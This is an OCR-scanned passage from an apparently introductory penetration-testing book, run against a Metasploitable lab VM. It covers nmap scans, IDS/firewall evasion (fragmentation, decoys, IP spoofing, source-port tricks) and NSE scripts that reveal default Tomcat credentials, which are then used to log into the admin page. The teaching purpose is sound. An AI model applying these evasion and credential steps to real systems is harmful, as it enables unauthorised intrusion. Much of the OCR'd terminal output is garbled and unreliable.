Version: 5.0.51a-3ubuntu5
Thread ID: 13
Capabilities flags: 43564
Some Capabilities: Speaks&41ProtocolNew, SwitchToSSLAfterHandshake, SupportsCompression, Support4lAuth, LongColumnFlag, ConnectWithDatabase, SupportsTransactions
Status: Autocommit
_ Salt: E>G*9}1w¥QG0915ct<1-
_ssl-cert: ERROR: Script execution failed (use -d to debug)
_ssl-date: ERROR: Script execution failed (use -d to debug)
_sslv2: ERROR: Script execution failed (use -d to debug)
_tls-alpn: ERROR: Script execution failed (use -d to debug)
_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
| _ssl-date: 2021-07-30T17:29:32+00:00; -1d00h22m@8s from scanner time.
5900/tcp open vnc VNC (protocol 3.3)
vnc-info:
Protocol version: 3.3
Security types:




5900/tcp open vnc VNC (protocol 3.3)
vnc-info:
Protocol version: 3.3
Security types:
I VNC Authentication (2)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
8009/tcp open ajpl3 Apache Jserv (Protocol v1.3)
|_ajp—method5: Failed to get a valid response for the OPTION request
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
_http-favicon: Apache Tomcat
_http-title: Apache Tomcat/5.5
MAC Address: 08:00:27:9B:CE:27 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
0S CPE: cpe:/o:linux:linux_kernel:2.6
0S details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
_clock-skew: mean: -23h02m@4s, deviation: 2h18m&@s, median: -1d@@h22m@8s
_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
smb-os-discovery:
0S: Unix (Samba 3.0.28-Debian)
Computer name: metasploitable
NetBIOS computer name:
Domain name: localdomain
FQDN: metasploitable.localdomain
_  System time: 2021-07-30T13:28:02-04:00
smb-security-mode:
account_used: guest
authentication_level: user
challenge_response: supported
_ message_signing: disabled (dangerous, but default)
_smb2-time: Protocol negotiation failed (SMB2)

Remember, from the, -A gives us bunch of different things, such as OS
detection versions scan and it also runs something called nmap scripts, you
can see that we are getting output that we didn't get before. So besides the
open port and the version that the open port is running, we also get the
output of different scripts that are running on the target as we execute the
scan, right now here we can see that it executed the script for FTP
Anonymous login, and it says that it is allowed, and we will check out what
the anonymous login is for now, and I can tell you that it is not really that
secure, it says FTP 2.3.4, which is this version that the target has, is secure,
fast and stable. We also get the enumeration of the SSH So we get the SSH
host key, Nothing really useful for us. The SMTP comments that are
allowed, the SSL cyphers, we also get the HTTP server, and these are just
some additional information that we got from running script, we get
information for some other open ports and, we can see the towers can also
perform the SMB enumeration. So we got the computer name net bias
computer named domain name SMB security mode we also get the
traceroute to this target's IP address, and that is the one hop that we have
since it is in our own network, also tells us that it'll perform the OS and



service detection and So this is just some additional information on top of
the information that we already had.

You see we are getting output that we didn't get before. So besides the open
port and the version that the open port is running, we also get the output of
different scripts that are running on the target as we execute the scan, but
remember -A is an aggressive scan, it does give us the most output out of
any other options, but it is also pretty aggressive and easily detectable if
Target has some security measures.

-sn option is really useful option, and it is not really useful for discovering
what abilities or open ports. Matter of fact, this option performs the same
thing that our net discovered tool did, Remember, we use net discovered to
locate all of the hosts that are up and running on our network and -sn pretty
much does the same thing.



The only useful thing we get from this is which hosts are up and running,
and this is a scan that you would use probably on multiple machines to
discover which ones are up and which ones aren't, but you can also use it on
one machine if you'd like for this scan.

$ nmap -sn 192.168.126.1-255
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192.168.126.1-255
Starting MNmap 7.91 ( https://nmap.org ) at 2821-@87-22 06:85 EDT
Nmap scan report for 192.168.126.1
Host is up (@.0024s latency).
Nmap scan report for 192.168.126.2
Host is up (B.8816s latency).
Nmap scan report for 192.168.126.
Host is up (@.00895s latency).
Nmap scan report for 192.168.126.
Host is up (B.8889%4s latency).
Nmap scan report for 192.168.126.
Host is up (B.8828s latency).
Nmap scan report for 192.168.126.
Host is up (B.8813s latency).
Nmap scan report for 192.168.126.
Host is up (B.8819s latency).
Nmap scan report for 192.168.126.
Host is up (B.8816s latency).
Nmap scan report for 192.168.126.
Host is up (@.8815s latency).
Nmap scan report for 192.168.126.
Host is up (@.@@838s latency).
Nmap scan report for 192.168.126.
Host is up (@.8822s latency).
Nmap scan report for 192.168.126.
Host is up (@.8821s latency).
Nmap scan report for 192.168.126.
Host is up (@.8827s latency).
Nmap scan report for 192.168.126.
Host is up (@.8817s latency).
Nmap scan report for 192.168.126.
Host is up (@.80057s latency).
Nmap scan report for 192.168.126.
Host is up (@.8@42s latency).
Nmap scan report for 192.168.126.
Host is up (0.80011s latency).
Nmap scan report for 192.168.126.
Host is up (@.@@41s latency).
Nmap scan report for 192.168.126.
Host is up (@.8@12s latency).
Nmap scan report for 192.168.126.
Host is up (@.@@56s latency).
Nmap scan report for 192.168.126.
Host is up (@.8810s latency).
Nmap scan report for 192.168.126.
Host is up (@.@@41s latency).
Nmap scan report for 192.168.126.
Host is up (@.08053s latency).
Nmap scan report for 192.168.126.
Host is up (@.00045s latency).
Nmap scan report for 192.168.126.
Host is up (@.0@8838s latency).
Nmap scan report for 192.168.126.
Host is up (8.88838s latency).

it gives us which hosts are currently up, we get their IP addresses.




OK, so the another thing that I want to show you is -p option, and this is an
actual option that you will use a lot, So for this, and what -p option is,
simply you can specify what range of port you want to scan with and nmap,
remember, when we perform any other scan, it can stop one thousand ports,
but what if we, for example, only wanted to scan one port? For example, let's
say we wanted to scan Port 80

$ nmap -p 80 192.168.0.4

® /home/ncim
nmap 80 192.168.0.4
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-31 14:08 EDT
Nmap scan report for 192.168.0.4
Host is up (0.00062s latency).

PORT  STATE SERVICE
80/tcp open http
MAC Address: 08:00:27:9B:CE:27 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.19 seconds

® /home/ncim

This option is useful, if you're only attacking one port and you don't want to
bother really and let nmap scan one thousand port when you only want to
enumerate one single port. You can also do it on multiple ports.

$ nmap -p 80,22,100 192.168.0.4
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nmap 80,222,100 192.168.0.4
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-31 14:09 EDT
Nmap scan report for 192.168.0.4
Host is up (0.00040s latency).

PORT STATE SERVICE

22/tcp open  ssh

80/tcp open http

100/tcp closed newacct

MAC Address: 08:00:27:9B:CE:27 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.16 seconds

] /home/ncim

And here are the results not shown, Ninety-four closed ports, and we got six
ports are open in first one hundred ports, and remember when I told you that
there are over sixty-five thousand ports, well this is the option that we can
use in order to scan all sixty-five thousand if I type

$nmap -p 1-65535 192.168.0.4
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nmap 1-65535 192.168.0.4

Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-31 14:15 EDT
Nmap scan report for 192.168.0.4
Host is up (0.00090s latency).
Not shown: 65505 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/tcp open http
111/tcp  open rpchind
139/tcp open netbios-ssn
445/tcp  open microsoft-ds
512/tcp  open exec
513/tcp  open login
514/tcp  open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
3632/tcp open distccd
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
6697/tcp open ircs-u
8009/tcp open ajpl3
8180/tcp open unknown
8787/tcp open msgsrvr
38719/tcp open unknown
40629/tcp open unknown
55604/tcp open unknown
59058/tcp open unknown
MAC Address: 08:00:27:9B:CE:27 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 27.04 seconds




Here all the open ports that it managed to discover, here are some of the
ports that we never really discovered with previous scans that we did, So this
is really useful, if we used regular scans and we only scan first one thousand
ports, we would never really know that these ports are also open. Now, on
the contrary, instead of scanning thousand ports or sixty-five thousand ports,
we can use a cool option, which is -F and what this option does is instead of
scanning one thousand ports, it scans first one hundred ports. So in case you
want to perform a quicker scan and you also want to scan top one hundred
ports, you would use the -F option.

$nmap -F 192.168.0.4
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nmap 192.168.0.4
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-31 14:21 EDT
Nmap scan report for 192.168.0.4
Host is up (0.0013s latency).
Not shown: 82 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp  open ssh
23/tcp open telnet
25/tcp  open smtp
53/tcp open domain
80/tcp open http
111/tcp open rpcbhind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
513/tcp open login
514/tcp open shell
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
8009/tcp open ajpl3
MAC Address: 08:00:27:9B:CE:27 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.18 seconds

® /home/ncim




And it scans top 100 ports, this doesn't mean that it scans port from one to
one hundred, simply means it can't first 100 ports that are usually most used.

But whenever you really want to find out everything you can about the
target, this can will be more useful.

how to save output nmap scan? So there are a few ways that we can do this.
For example, we can type:

$ nmap -sS 192.168.1.1 >> outputscan.txt

/home/ncim
192.168.1.1 outputscan.txt

/home/ncim

outputscan.txt

/home/ncim

As you can see, we got nothing in the terminal and all of them saved as
outputscan in home directory.

We can use cat command for reading the file.

$ cat outputscan.txt



Jhome/ncim

utscan.txt
Starting Nmap 7.91 ( https://nmap.org ) at :Z
Nmap scan report for 192.168
Host is up (@.@21s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE

80/tcp open htip
Nmap done: 1 IP address (1 host up) scanned in 6.28 seconds

- Jhome/ncim

So this is useful. Once you want to, for example, add this to your report, so
you just save it in a file and then later on, copy and paste this on our report,
another way that you can do this in case you want the results to be saved,
both in a file and also outputted in your terminal.

$nmap -oN outputscan -sS 192.168.1.1

/home/ncim
outputscan 1 .
.91 ( http g ) at 2821-87-22 87:09 EDT
for 19
Host 1s
Not shown: ered ports
PG STATE SE E

80/tcp open http

Nmap done: 1 IP address (1 host up) scanned im 9.83
® /home/ncim

outputscan outputscan.txt

$cat outputscan



/home/ncim

: nmap -oN outputscan -s5 192.168.1.1

STATE SER\
8@8/tcp open http

# Nmap done at Thu Jul 22 ©7:09:28 2021 — 1 IP address (1 host up) scanned in 9.03 seconds

® /home/ncim

OK, great. These are just some of the basic options that I wanted to mention,
since you might find them useful, and by now, you can consider yourself an
intermediate nmap scanner. Now, to take this to the advanced level, we
should learn how we can bypass firewall.

What is Firewall IDS ?

We're going to cover how we can use nmap in our advantage to be able to
bypass some of the security measures that the target might have, such as
firewalls and IDS, these options that we will use in nmap can be considered
advanced. So don't worry if you don't fully understand everything that we
talked about, just read ad practice for few times and you will get it. I don't
even know what firewall or IDS is? So what are they? Well, Firewall is a
network security system that monitors network traffic, and it is based on the
security rules that are predetermined.

There are two types of firewalls, network firewalls and host based firewall's,
network firewalls filter traffic between two or more networks, while host
based firewalls only filter traffic that is going in or out from that specific



machine. And what IDS is, is intrusion detection system, it is usually a
software application that monitors network for any malicious activity, for
example, some of the nmap scans that we did can get caught by intrusion
detection system, So we will check out a few options that could help us
bypass that, now we know, firewall and IDS helps us secure our network or
machine, we covered the basics, we used our Linux machine and we scanned
our target, we scanned different ports. and with the scans that we did, we
managed to figure out what ports are open and what ports are closed, but
some of our targets might host services on ports hiding behind the firewall,
and once we scan them, it will tell us those ports are filtered, which we know
that it means, and nmap can figure out whether that port is open or closed.
What this means is that we're sending packets to the target, but their firewall
keeps dropping those packets, but now we're going to see what nmap options
can help us bypassing this. Let's get straight into it.

Let us talk about different options we can use in our scans to bypass firewall;
firewall is something unpredictable, you don't really know its rules in order
to know exactly what type of scan you need to perform in order to bypass it.
Some of the firewalls could use Mac address filtering in order to allow
certain devices to connect to a specific port or in order to block certain
devices, some firewalls could block different types of packets, some
firewalls could block only some ports and not all of them. And we can't
really know what the exact rule is, what I'm going to do is I will give you a
few different options as to what you can try in order to bypass firewall, first
of all, how can we know if some of the ports and target machine are behind a
firewall? we know nmap will tell us that those ports are filtered, we should
already know what filtered port is, but let us define it once again, filtered
port is when nmap can't figure out whether a certain port is open or closed,
and that is try to dropping packets, possibly because that port is behind the
firewall, therefore, we don't get any responses back from that port.

Let me show you this on a Windows machine

Control Panel > System and Security > Windows Defender Firewall



ﬂ Windows Defender Firewall

- v ﬂ » Control Panel » Systemn and Security » Windows Defender Firewall

Help protect your PC with Windows Defender Firewall

Control Panel Home

Windows Defender Firewall can help prevent hackers or malicious software from gaining access to your PC

Allow an app or feature through the Internet or a network.
through Windows Defender
Firewall . L
. g Private networks Not connected
9 Change netification settings
& Tumn Windows Defender . v Guest or public networks Connected |

Firewall on or off

9 Restore defaults Networks in public places such as airports or coffee shops

G Sehvanced Seliings Windows Defender Firewall state: On

Troubleshoot my netwaork " y ’ .
Incoming connections: Block all connections to apps that are not on the list

of allowed apps

Active public netwaorks: ™ reza3d
Motification state: Notify me when Windows Defender Firewall blocks a
new app

this machine has firewall turned on. If we tried to scan it

$nmap [ target ip ]

Jhome/ncim
ap 127.8.8.1
ng Nmap 7.91 ( https://nmap.org )
rt for lecalheost (127.8.0.1)
(0.0000050s latency).
canned ports on localhost

Mmap done: 1 IP address (1 host up) scanned in @.11 seconds

- /home/ncim

Now, this doesn't mean that all could be closed or all could be opened, this
just means that they are behind the firewall and any package we send get
dropped by that firewall. So our target could have a few ports open and other
closed, but we don't really know that. Let me show you the response of the
same scan once we have that target turn off their firewall, and let's compare
this result when the firewall is turned on with the result once we turn off the
firewall.



$ nmap -sV [target ip]

/home
2.168.126

3 EDT
ing Service Scan
9 remaining)

msrpc
netbios-ssn
SOAP API 16.0.0
ft-ds (workgroup: WORKGROUP)
mon 1.18 (Uses \ )

Service detection performed. Please report any incor
Nmap done: 1 IP address (1 host up) scanned in 154.79

And here it is. We can see that some ports are open this far wall right here
doesn't have any special rules since it is made to block all traffic. However,
once firewall rules are applied and they usually are applied in some servers
or machines that need remote access or that need to communicate with other
machines, then we can test these options and see whether those rules have
any vulnerability that we can bypass. I will turn the firewall back on. Let's
start with our first option.

let's start with [-f]

[-f] option causes the requested scan to use fragmented IP packets. Now, you
might be wondering why would we do that? Well, the idea behind this is to
split TCP header over several packets to make it harder for package filters or
intrusion detection systems to detect what you're doing, if we specify the
option once, just by adding one [-f], the nmap will split the packets into eight
bytes or less. So if your packet had a twenty-four bytes DCP header, this
would be split into three different packets of eight bytes, now, you can also
specify the option twice with [-f -f] and this will split the packets into 16
bytes, but be careful once running this option on an actual target is some
programs have trouble handling these tiny packets, if you want to increase
fragment size even more, you can use the option [ --mtu] and after it
fragment size, just remember that offset you specify must be a multiple of



eight, this fragmentation won't always work if I run, this can this option will
not work most of the time, actually it only works if a network that you're
scanning can afford the hip that this will cause, they just leave it disabled.
Some networks also can enable this because fragments may take different
routes into their networks, nonetheless, it is good to mention this option as it
might come in handy one day.

$ nmap -f [ target ip]
i 1

. /home/ncim
ap 127.8.8.1
Starting Nmap 7.91 { https://nmap.org ) at 2@821-87-23 @6:54 EDT
Mmap scan report for localhost (127.8.0.1)
Host is up (@.000013s latency).
All 10@@ scanned ports on localhost (127.0.8.1) are closed

Nmap done: 1 IP address (1 host up) scanned in ©.15 seconds

- /home/ncim

Another option we can use, which is more focused on hiding your IP
address, then bypassing security, and that option is creating decoys, using [-
d]. Creating these decoys can make it appear to the target as it has been
scanned not only by you, but also by the decoys that you specify, their
intrusion detection system might report multiple IP addresses that scan them,
including yours, but they will not be able to determine which one is real. So
you successfully hide your IP address from them.

If I run the command [-D] and to specify how many random IP addresses we
want to use to scan the target, we can specify [-D RND:5] it's the number of
IP addresses we want to use. So in this case, I will use five random IP
addresses

$ nmap -D RND:5 [ target ip ]



® Jhome/ncim
REND:5 192.168.126.1

Starting Mmap 7.91 ( https://nmap.org ) at 2021-907-23 @

Stats: @:80:85 elapsed; @ hosts com ed (1 up), 1 und ing SYN Stealth Scan

SYN Stealth Scan Timing: About 31.93% done; ETC: 07:208 (@:80:11 remaining)

RND option create random IP addresses and all of those random IP
addresses will be truly random, but if they had Wireshark and analyze all the
packet they can see the real IP address, so this will most likely not work,
they will recognize it as the true IP.

So how can we change this and make it seem like this is coming from five
local IP addresses that belong to my home network, instead of running the
command we specify five different IP addresses and in the end we should
use my IP address and to specify the Kali-linux IP address, we can simply
type me.

What this command will do is it will use these random IP addresses to scan
the target, including our IP address.

$nmap -D 192.168.1.1,192.168.1.12,192.168.1.13,192.168.1.9,ME [target
ip]

- /home/ncim
192.168.1.1,192.168.1.12,1592.168.1.13,192.168.1.9,ME 192.168.129.1
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-23 07:35 EDT

And they will never really realize that, which one is the correct IP address
since they are getting flooded with a lot of them, and you can change the
number, you can use more IP addresses if you want or less, but the point of
this is, that in case you're scanning a target that is inside the same network as
you use local IP addresses, and in case you're scanning the target, it is
outside your network. You can use RND option, which will generate random
IP addresses and the security will have a hard time figuring out which one is
the correct one.



let's mention a few more options, and even though they are not that
important, it is good to know they exist. So let's go through them, the first
thing we got is [-S] this option is used to spoof your IP address, it will make
your target think that someone else is scanning them, the problem with this
is that you will not get results of a scan back since they will be sent to the IP
address that you're trying to impersonate. So, for example, you can be trying
to impersonate 8.8.8.8 and your target will be scanned with this IP address,
or at least it will seem that the scan is coming from this IP address. For this
option to work, you must also specify [-Pn]

And the reason why you might specify is first of all, the is used to assume
that all hosts are online. So doesn't perform the ping scan to discover
whether a host is up and running without this command this option would
not work, and the reason is because your target will be scanned with this IP
address, and we will not be able to get the packets back and see whether the
target is on or off, that's why we will just assume that the target is online so
we can scan them with a different IP address. Otherwise, we will never get
the result, whether they are online, and sometimes with these two options,
you must also run [-e] and its used to specify a network interface.

$nmap -S 8.8.8.8 -Pn -e eth0

Jhome/ncim

You can specify the source port with [-g] option, this can sometimes help
bypass the firewall, for example, a network administrator may set up a
firewall and set the rule where all the traffic from a certain port is allowed,
and with that, he's probably thinking that attackers won't be able to figure
out from which port exactly, and if you perform a scan and send packets
from the port that's allowed in the firewall rule, you successfully bypassed
firewall, so it specified with [-g 4444] and then random phone number.

$nmap -g 4444 192.168.1.1



® Jhome/ncim

ap 4a44 192.168.1.1
Starting Nmap 7.91 { https://nmap.org } at 2821-87-23 09:86 EDT
Nmap scan report for 192.168.1.1
Host is up (0.0831s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 5.28 seconds

e Jhome/ncim

One last thing that we will mention that could help you in bypassing firewall
is changing different scan types, we already covered some scan types and
any of them could be useful to you sometimes, for example, in case you
perform a SYN scan on a target machine and in case the SYN scan is
blocked by the target's firewall, which would mean that they drop all SYN
requests that try to initiate TCP connection, we could try to perform our
SYN scan and SYN scan is read like [-sF] Now, you're probably confused
because there are a lot of scans that we can do, and in case you don't have
any networking background, you're probably wondering what SYN scan
even means.

Well, thin SYN scan is just sending a SYN packet without any other flags,
flags can be confusing sometimes, but with practice you will catch
everything up. Just one advice I have is that every time you don't fully
understand something, just Google it, that is how I learned as well, and all of
these options that we covered can be combined with something called timing
template, in the nmap manual, we can see [-T] comes with six different
options or six different modes, and what's interesting for us regarding
security vision are the first towboats which are zero and one also called
paranoid and sneaky, and all of this, will help you in security, evasion and
spoofing, what I would advise you to do is also read about other options in
nmap manual.



Chapter 4

Welcome to vulnerability and Analysis Section.

We covered scanning and we managed to discover a bunch of information
about our target, now we're going to use that information to discover
whether our target has some vulnerabilities, first tool that we want to cover
is going to be an already familiar tool, which is called and nmap, we learned
nmap is used for scanning targets, but it can also perform vulnerability
analysis and in some cases it can even perform exploitation with the help of
different scripts, as this is advanced use of nmap, we should first explain
what are these and nmap scripts? Well, nmap scripts are commonly used in
scanning to detect different service vulnerabilities, it can also be used for
brute force forcing attacks, it can be used to detect a malware on target
machine, it is also used to collect even more information about databases
and other network services so we can consider this section to be half



scanning and have vulnerability analysis, the goal of this lecture, however,
will not be the vulnerability analysis, but to show you how we can run the
scripts, and before we even run them, we need to know what are our
available options. So where are those scripts? How do we run them? How do
we know which scripts even exist? Inside of the Kali-linux, we can find all
the scripts that nmap has inside of the directory, let's find it.

$ cd usr/share/nmap/scripts/

$ls



e

cd /usr/share/nmap/scripts

.} /usr/share/nmap/scripts

IS
acarsd-info.nse
address-info.nse
afp-brute.nse
afp-ls.nse
afp-path-vuln.nse
afp-serverinfo.nse
afp-showmount.nse
ajp-auth.nse
ajp-brute.nse
ajp-headers.nse
ajp-methods.nse
ajp-request.nse
allseeingeye-info.nse
amgp-info.nse
asn-query.nse
auth-owners.nse
auth-spoof.nse
backorifice-brute.nse
backorifice-info.nse
bacnet-info.nse
banner.nse
bitcoin-getaddr.nse
bitcoin-info.nse
bitcoinrpc-info.nse
bittorrent-discovery.nse
bjnp-discover.nse
broadcast-ataoe-discover.nse

ip-forwarding.nse
ip-geolocation-geoplugin.nse
ip-geolocation-ipinfodb.nse
ip-geolocation-map-bing.nse
ip-geolocation-map-google.nse
ip-geolocation-map-kml.nse
ip-geolocation-maxmind.nse
ip-https-discover.nse
ipidseqg.nse

ipmi-brute.nse
ipmi-cipher-zero.nse
ipmi-version.nse
ipve-multicast-mld-list.nse
ipv6é-node-info.nse
ipvée-ra-flood.nse
irc-botnet-channels.nse
irc-brute.nse

irc-info.nse
irc-sasl-brute.nse
irc-unrealircd-backdoor.nse
iscsi-brute.nse
iscsi-info.nse
isns-info.nse

jdwp-exec.nse

jdwp-info.nse
jdwp-inject.nse
jdwp-version.nse

Here we can see there are a lot of them, let us test some of them out and see
whether they give us any information about our target, now, running scripts
comes with two different options, we can either specify one script to use in a
scan or we can specify a group of scripts that we will use inside of a scan
and to fully understand all the possible things that we can do with scripts
using nmap. You should take a look at this page.

https://nmap.org
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Nmap Scripting Engine (NSE)

The Nmap Scripting Engine (NSE) is one of Nmap's most powerful and flexible features. It allows users to write (and share) simple scripts (using the Lua programming language ) to automate a wide variety
of networking tasks. Those scripts are executed in parallel with the speed and efficiency you expect from Nmap. Users can rely on the growing and diverse set of scripts distributed with Nmap, or write their
own to meet custom needs.

Advertising

About/Contact Tasks we had in mind when creating the system include network discovery, more sophisticated version detection, vulnerability detection. NSE can even be used for vulnerability exploitation.

To reflect those different uses and to simplify the choice of which scripts to run, each script contains a field associating it with one or more categories. Currently defined categories are auth, broadcast, defailt.
discovery, das, exploit, external, fuzzer, intrusive, maluare, safe, version, and vuln. These are all deseribed in the section called "Script Categories”.

pox and thus could accidentally or maliciously damage your system or invade your privacy. Never run scripts from third parties unless you trust the authors or have carefully

This is the official nmap page and it will give us a good explanation about
script groups and the usage of nmap, if we scroll all the way down, here is
the usage and examples.

Script Categories

NSE scripts define a list of categories they belong to. Currently defined categories are auth, broadcast, brute, default. discovery, dos, exploit, external, fuzzer, intrusive, nalware, safe, version, and vuln, Category names are
not case sensitive. The following list describes each category.

auth

These scripts deal with authentication credentials (or bypassing them) on the target system. Examples include x11-access, ftp-anon, and oracle-enun-users. Scripts which use brute force attacks to determine
credentials are placed in the brute category instead.

broadcast

Scripts in this category typically do discovery of hosts not listed on the command line by broadcasting on the local network. Use the newtargets script argument to allow these scripts to automatically add
the hosts they discover to the Nmap scanning queue.

brute
These scripts use brute force attacks to guess authentication credentials of a remote server. Nmap contains scripts for brute forcing dozens of protocols, including nttp-brute, oracte-brute, snmp-brute, etc.
default

These scripts are the default set and are run when using the -sc or -a options rather than listing scripts with -script. This category can also be specified explicitly like any other using --script-gefault.
Many factors are considered in deciding whether a script should be run by default:

Speed
A default scan must finish quickly, which excludes brute force authentication crackers, web spiders, and any other scripts which can take minutes or hours to scan a single service.
Usefulness

Default scans need to produce valuable and actionable information. If even the script author has trouble explaining why an average networking or security professional would find the output
valuable, the script should not run by default.

Verbosity

Nmap output is used for a wide variety of purposes and needs to be readable and concise. A script which frequently produces pages full of output should not be added to the default category. When
there is no important information to report, NSE scripts (particularly default ones) should return nothing. Checking for an obscure vulnerability may be OK by default as long as it only produces
output when that vulnerability is discovered.

Reliability
Many scripts use heuristics and fuzzy signature matching to reach conclusions about the target host or service. Examples include sniffer-detect and sql-injection. If the script is often wrong, it doesn't

belong in the default category where it may confuse or mislead casual users. Users who specify a script or category directly are generally more advanced and likely know how the script works or at
least where to find its documentation.

We get different script categories, which are script groups we can see that
are currently defined categories like: broadcast, brute, default, discovery and
many more and we can read about each and every one of them to see what
each script group does, for example, the broad script group, it says these
scripts are used to brute force attacks to guess authentication credentials of a



remote server, nmap contains scripts for brute forcing dozens of protocols,
including HTTP-brute, Oracle-brute snmp-bruta and etc.

Let us test some of them out. Let us start with auth script group first, we can
read these scripts, deal with authentication credentials or by passing them on
the target system, examples include X-11 access, FTP, Anonymous and
Oracle and some users. Now, these right here that you read are single script
names, and these single scripts belong to this larger script group. it also says
Scripts, which uses brute force attacks to determine credentials, are placed in
the broad category instead. So, there are no scripts that are used for brute
forcing and for the brute force thing simply means is running a bunch of
usernames and passwords onto the target system to discover which one is the
correct username and which one is the correct password. But more about
brute forcing later on. For now, let us go and test some of these scripts to run
a scan with a script group we can use

$ nmap --script auth 192.168.0.4 -sS



® /home/ncim
nmap auth 192.168.0.4
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-31 14:38 EDT
Nmap scan report for 192.168.0.4
Host is up (0.00026s latency).
Not shown: 977 closed ports
PORT STATE SERVICE
21/tcp open ftp
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open ssh
ssh-auth-methods:
Supported authentication methods:
publickey
- password
ssh-publickey-acceptance:
_ Accepted Public Keys: No public keys accepted
23/tcp open telnet
25/tcp  open smtp
smtp-enum-users:
_ Method RCPT returned a unhandled status code.
53/tcp open domain
80/tcp open http
111/tcp open rpchind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
|_mysql-empty-password: ERROR: Script execution failed (use -d to debug)
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
8009/tcp open ajpl3




513/tcp open
514/tcp open
1099/tcp open
1524/tcp open
2049/tcp open
2121/tcp open
3306/tcp open
| _mysql-empty
5432/tcp open
5900/tcp open
6000/tcp open
6667/tcp open

login

shell
rmiregistry
ingreslock
nfs
ccproxy-ftp
mysql

-password: ERROR: Script execution failed (use -d to debug)

postgresql
vnc
X11
irc

8009/tcp open ajpl3
8180/tcp open unknown
http-default-accounts:
[Apache Tomcat] at /manager/html/
tomcat:tomcat
[Apache Tomcat Host Manager] at /host-manager/html/
tomcat:tomcat

MAC Address: ©8:00:27:9B:CE:27 (Oracle VirtualBox virtual NIC)

Host script results:
smb-enum-users:
Domain: METASPLOITABLE; Users: backup, bin, bind, daemon, dhcp, distccd, ftp, games, gnats, irc, klog, libuuid, list, lp, mail, man, msfadmin, mysql
ftpd, proxy, root, service, sshd, sync, sys, syslog, telnetd, tomcat55, user, uucp, ww-data

Post-scan script results:
creds-summary :
192.168.0.4:
8180/unknown :
tomcat:tomcat - Valid credentials
- tomcat:tomcat - Valid credentials
Nmap done: 1 IP address (1 host up) scanned in 46.00@ seconds

® /home/ncim

OK, let us see whether our script managed to detect anything unusual. So we
get the standard output of all the open ports and we also get some other
information for some of the ports. For example, we get FTP enum and this
FTP is just a single script name from the nmap. It tells us that anonymous
FTP login is allowed. Under the SSH port, we get which authentication
methods are supported, we get information for the SQL Port, he tells us that
route account has empty password. This can also be very useful for us, we
can see Tomcat:tomcat What does this mean? Well, this looks like a default
Tomcat credentials, and if I go down, it tells us posts can script results. It
says that this is a valid credential for Tomcat, it is for the service running on
that port, let us check this out, this might be the first vulnerability that we
find to check whether this is correct, we can go and open up Firefox and we
are going to make a connection to our metasploitable on that port so first
type IP address and then tomcat port
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If you're seeing this page via a web browser, it means you've setup Tomcat successfully.
Congratulations!

As you may have guessed by now, this is the default Tomcat home page. It can be found on the local
filesystem at:

$CATALINA_HOME/webapps/RO0T/index.jsp

where "SCATALINA_HOME" s the root of the Tomcat installation directory. If you're seeing this page, and
you don't think you should be, then either you're either a user who has arrived at new installation of
Tomcat, or you're an administrator who hasn't got his/her setup quite right. Providing the latter is the
case, please refer to the Tomcat Documentation for more detailed setup and administration information
than is found in the INSTALL file.

NOTE: This page is precompiled. If you change it, this page will not change since it was compiled into a
servlet at build time. (See $CATALINA_HOME/webapps /ROOT/WEB- INF /web.xml as to how it was mapped.)

NOTE: For security reasons, using the administration webapp is restricted to users with role
"admin". The manager webapp is restricted to users with role "manager”. Users are defined in
SCATALINA HOME/conf/tomcat-users.xml.

Included with this release are a host of sample Servlets and JSPs (with associated source code),
extensive documentation (including the Servlet 2.4 and JSP 2.0 AP| JavaDoc), and an introductory guide
to developing web applications.

Tomcat mailing lists are available at the Tomcat project web site;

» users@tomcat.apache.org for general questions related to configuring and using Tomcat
+ dev@tomcat.apache.org for developers working on Tomcat

Thanks for using Tomcat!
Powered hy
&

| e
TOMCAT
Copyright € 1999-2005 Apache Software Foundation

And here we get the official Apache Tomcat page, let's see whether we can
find something interesting right here, and what we are looking for based on
these credentials is a login screen. So Tomcat administration seems
interesting. So let's click on it
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It leads us to this admin page where we are required to specify username and
password. from our scan, we got Tomcat and Tomcat. Let's try it out and see
whether it fits. If I type it for the username and Tomcat for the password,
click on login.
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There it is. We managed to log in to the admin page of the Tomcat server.
